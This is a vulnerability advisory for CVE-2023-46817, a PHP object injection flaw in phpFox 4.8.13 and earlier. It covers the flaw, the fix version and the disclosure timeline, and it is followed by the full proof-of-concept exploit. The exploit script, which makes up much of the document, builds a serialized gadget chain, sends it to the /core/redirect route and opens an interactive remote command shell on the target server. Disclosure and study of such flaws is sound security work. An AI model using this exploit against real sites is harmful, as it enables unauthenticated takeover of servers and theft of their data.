phpFox versions 4.8.13 and below have an issue where user input passed through the “url” request parameter to the /core/redirect route is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code.
advisories | CVE-2023-46817
--------------------------------------------------------------
phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
--------------------------------------------------------------
[-] Software Link:
https://www.phpfox.com
[-] Affected Versions:
Version 4.8.13 and prior versions.
[-] Vulnerability Description:
User input passed through the "url" request parameter to the
/core/redirect route is not properly sanitized before being used in a
call to the unserialize() PHP function. This can be exploited by remote,
unauthenticated attackers to inject arbitrary PHP objects into the
application scope, allowing them to perform a variety of attacks, such
as executing arbitrary PHP code.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/CVE-2023-46817.php
(Packet Storm note: POC included at bottom)
[-] Solution:
Upgrade to version 4.8.14 or later.
[-] Disclosure Timeline:
[05/10/2023] - Vendor contacted through https://clients.phpfox.com
[05/10/2023] - Vendor response stating "we currently do not have such
security requirements"
[06/10/2023] - CVE identifier requested
[09/10/2023] - Vulnerability details shared with the vendor, stating the
issue is quite critical
[17/10/2023] - Vendor contacted again, asking for an update
[18/10/2023] - Vendor response stating "this issue is fixed in our
latest version (4.8.13)", but that's not the truth
[26/10/2023] - Version 4.8.14 released
[27/10/2023] - CVE identifier assigned
[27/10/2023] - Public disclosure
[-] CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-46817 to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2023-12
[-] Other References:
https://docs.phpfox.com/display/FOX4MAN/phpFox+4.8.14
--- CVE-2023-46817.php poc ---
<?php
/*
--------------------------------------------------------------
phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
--------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.phpfox.com
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability Description:
User input passed through the "url" request parameter to the /core/redirect route is
not properly sanitized before being used in a call to the unserialize() PHP function.
This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP
objects into the application scope, allowing them to perform a variety of attacks,
such as executing arbitrary PHP code.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2023-12
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[+] cURL extension required!n");
print "+------------------------------------------------------------------+n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |n";
print "+------------------------------------------------------------------+n";
if ($argc != 2) die("nUsage: php $argv[0] <URL>nn");
function encode($string)
{
$string = addslashes(gzcompress($string, 9));
return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
}
class Phpfox_Request
{
private $_sName = "EgiX";
private $_sPluginRequestGet = "print '_____'; passthru(base64_decode($_SERVER['HTTP_CMD'])); print '_____'; die;";
}
class Core_Objectify
{
private $__toString;
function __construct($callback)
{
$this->__toString = $callback;
}
}
print "n[+] Launching shell on {$argv[1]}n";
$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
$popChain = str_replace('Core_Objectify', 'CoreObjectify', $popChain);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));
while(1)
{
print "nphpFox-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("n[+] Exploit failed!n");
}